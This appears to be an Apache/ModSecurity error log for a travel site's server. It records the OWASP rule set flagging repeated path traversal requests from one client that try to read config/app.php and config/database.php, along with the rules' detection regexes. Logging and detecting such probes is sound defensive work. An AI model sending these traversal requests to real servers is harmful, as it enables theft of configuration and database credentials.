[Fri Jul 17 08:55:06.098832 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.099142 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkqquHSHoCJK_V0SBOgAAABs"]
[Fri Jul 17 08:55:06.099444 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_QAAAAM"]
[Fri Jul 17 08:55:06.099570 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.099855 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhHlOGcokz2QIwTS_QAAAAM"]
[Fri Jul 17 08:55:06.101950 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfURwAAABI"]
[Fri Jul 17 08:55:06.102004 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfURwAAABI"]
[Fri Jul 17 08:55:06.102092 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:load: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfURwAAABI"]
[Fri Jul 17 08:55:06.102198 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?load=..%2F..%2Fconfig%2Fapp.php&junk=VfDo2qBrbhNeqik4UvO3ztLPChm7qwIieKSrW603FUJ6xyXyV1lGK0c8C6WyvBlqadxvKi1Z2-HVeRjIx6W0oLJfw1D4qS_-Akucx3C0kg-_SiD4AVtevgXpUavbzAJqjsR-VnIOMJh0gzoYx2Omb_LuExwapCIBy7LPXl3w_ThIf9gWZoDGiqdL_rNOmuAYVhqHjDe7oe_L6OTRUA_C5voIUTOEzlRbnPsKCv4gESz1BF6Z56k8nSXIxJKrZt7OnyGkmOkMAyl6vr3ftNGFMLP8&debug=3NTJTOM2DDJHE77CXXXHRN7TEKBRRBQSNN2MAULRQFTYDIJJHGHNYPXHDVGWMEP2M7NK3OV7UVF5AI6YF6WU7BOXP7GOVJKZJTTV5LA3KJCDMKAPA6NZ6EK6L6WOKLYG35..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PggAAABk"]
[Fri Jul 17 08:55:06.102232 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PggAAABk"]
[Fri Jul 17 08:55:06.102276 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../config/app.php&junk=VfDo2qBrbhNeqik4UvO3ztLPChm7qwIieKSrW603FUJ6xyXyV1lGK0c8C6WyvBlqadxvKi1Z2-HVeRjIx6W0oLJfw1D4qS_-Akucx3C0kg-_SiD4AVtevgXpUavbzAJqjsR-VnIOMJh0gzoYx2Omb_LuExwapCIBy7LPXl3w_ThIf9gWZoDGiqdL_rNOmuAYVhqHjDe7oe_L6OTRUA_C5voIUTOEzlRbnPsKCv4gESz1BF6Z56k8nSXIxJKrZt7OnyGkmOkMAyl6vr3ftNGFMLP8&debug=3NTJTOM2DDJHE77CXXXHRN7TEKBRRBQSNN2MAULRQFTYDIJJHGHNYPXHDVGWMEP2M7NK3OV7UVF5AI6YF6WU7BOXP7GOVJKZJTTV5LA3KJCDMKAPA6NZ6EK6L6WOKLYG35IBNEGACHE5JRBT..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PggAAABk"]
[Fri Jul 17 08:55:06.102337 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../config/app.php&junk=vfdo2qbrbhneqik4uvo3ztlpchm7qwiieksrw603fuj6xyxyv1lgk0c8c6wyvblqadxvki1z2-hverjix6w0oljfw1d4qs_-akucx3c0kg-_sid4avtevgxpuavbzajqjsr-vniomjh0gzoyx2omb_luexwapciby7lpxl3w_thif9gwzodgiqdl_rnomuayvhqhjde7oe_l6otrua_c5voiutoezlrbnpskcv4gesz1bf6z56k8nsxixjkrzt7onygkmokmayl6vr3ftngfmlp8&debug=3ntjtom2ddjhe77cxxxhrn7tekbrrbqsnn2maulrqftydijjhghnypxhdvgwmep2m7nk3ov7uvf5ai6yf6wu7boxp7govjkzjttv5la3kjcdmkapa6nz6ek6l6woklyg35ibnegache5jrbt..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PggAAABk"]
[Fri Jul 17 08:55:06.102366 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PggAAABk"]
[Fri Jul 17 08:55:06.102390 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PggAAABk"]
[Fri Jul 17 08:55:06.102457 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:load: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PggAAABk"]
[Fri Jul 17 08:55:06.103517 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PggAAABk"]
[Fri Jul 17 08:55:06.103673 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.103969 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkg7FYe46zHK_jL3PggAAABk"]
[Fri Jul 17 08:55:06.112380 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfURwAAABI"]
[Fri Jul 17 08:55:06.112527 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.112813 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfURwAAABI"]
[Fri Jul 17 08:55:06.114347 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTAAAAAE"]
[Fri Jul 17 08:55:06.114406 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTAAAAAE"]
[Fri Jul 17 08:55:06.114511 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:load: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTAAAAAE"]
[Fri Jul 17 08:55:06.115774 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTAAAAAE"]
[Fri Jul 17 08:55:06.115967 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.116409 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkuYpb_TFRze2EO3zTAAAAAE"]
[Fri Jul 17 08:55:06.187196 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?load=..%2F..%2Fconfig%2Fdatabase.php&extra=bbKskZa8hpO6HumTDs3PsL5ovl6bY2RYF5KSOoJpnel8NHVTjTpOXlXlMjaR3yX2vI7tzWPu1Jen88k-OXQ4-HSUFJ_W7GyIbcQ5GS73TKLuhOSJuidvBOOmpg2nmCtPKwQPK3sBZ8Md5Q_ZamSvNzFfp0VCGtAGHdj1tE82QBpaS-qLyFXfPw2RC1rvDDBMS3kqZiuVFg0WLZ1g3zbqpRx-vNZ6-S9Po4jnxWYR921rDNE6iS16cwFG9bHM6cY-4mM6l0qWGKoEBr3LHG9AnD94&ref=B2F6AY2PARPGLC6C2NDNL3HGUHJW73JBMFPI3POUB3KQEU4YGEDNN5XFFYTTFRR237SCWY3XWTIUHBOMQKFNQ3EHJUUTTCEUEPIAXNVLZS2XF5A4DBFAMXUMM5FWWY..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTQAAAAE"]
[Fri Jul 17 08:55:06.187259 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTQAAAAE"]
[Fri Jul 17 08:55:06.187353 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../config/database.php&extra=bbKskZa8hpO6HumTDs3PsL5ovl6bY2RYF5KSOoJpnel8NHVTjTpOXlXlMjaR3yX2vI7tzWPu1Jen88k-OXQ4-HSUFJ_W7GyIbcQ5GS73TKLuhOSJuidvBOOmpg2nmCtPKwQPK3sBZ8Md5Q_ZamSvNzFfp0VCGtAGHdj1tE82QBpaS-qLyFXfPw2RC1rvDDBMS3kqZiuVFg0WLZ1g3zbqpRx-vNZ6-S9Po4jnxWYR921rDNE6iS16cwFG9bHM6cY-4mM6l0qWGKoEBr3LHG9AnD94&ref=B2F6AY2PARPGLC6C2NDNL3HGUHJW73JBMFPI3POUB3KQEU4YGEDNN5XFFYTTFRR237SCWY3XWTIUHBOMQKFNQ3EHJUUTTCEUEPIAXNVLZS2XF5A4DBFAMXUMM5FWWYSRZI4INJCP2H7C..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTQAAAAE"]
[Fri Jul 17 08:55:06.187390 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../config/database.php&extra=bbkskza8hpo6humtds3psl5ovl6by2ryf5ksoojpnel8nhvtjtpoxlxlmjar3yx2vi7tzwpu1jen88k-oxq4-hsufj_w7gyibcq5gs73tkluhosjuidvboompg2nmctpkwqpk3sbz8md5q_zamsvnzffp0vcgtaghdj1te82qbpas-qlyfxfpw2rc1rvddbms3kqziuvfg0wlz1g3zbqprx-vnz6-s9po4jnxwyr921rdne6is16cwfg9bhm6cy-4mm6l0qwgkoebr3lhg9and94&ref=b2f6ay2parpglc6c2ndnl3hguhjw73jbmfpi3poub3kqeu4ygednn5xffyttfrr237scwy3xwtiuhbomqkfnq3ehjuuttceuepiaxnvlzs2xf5a4dbfamxumm5fwwysrzi4injcp2h7c..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTQAAAAE"]
[Fri Jul 17 08:55:06.187411 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zTQAAAAE"]
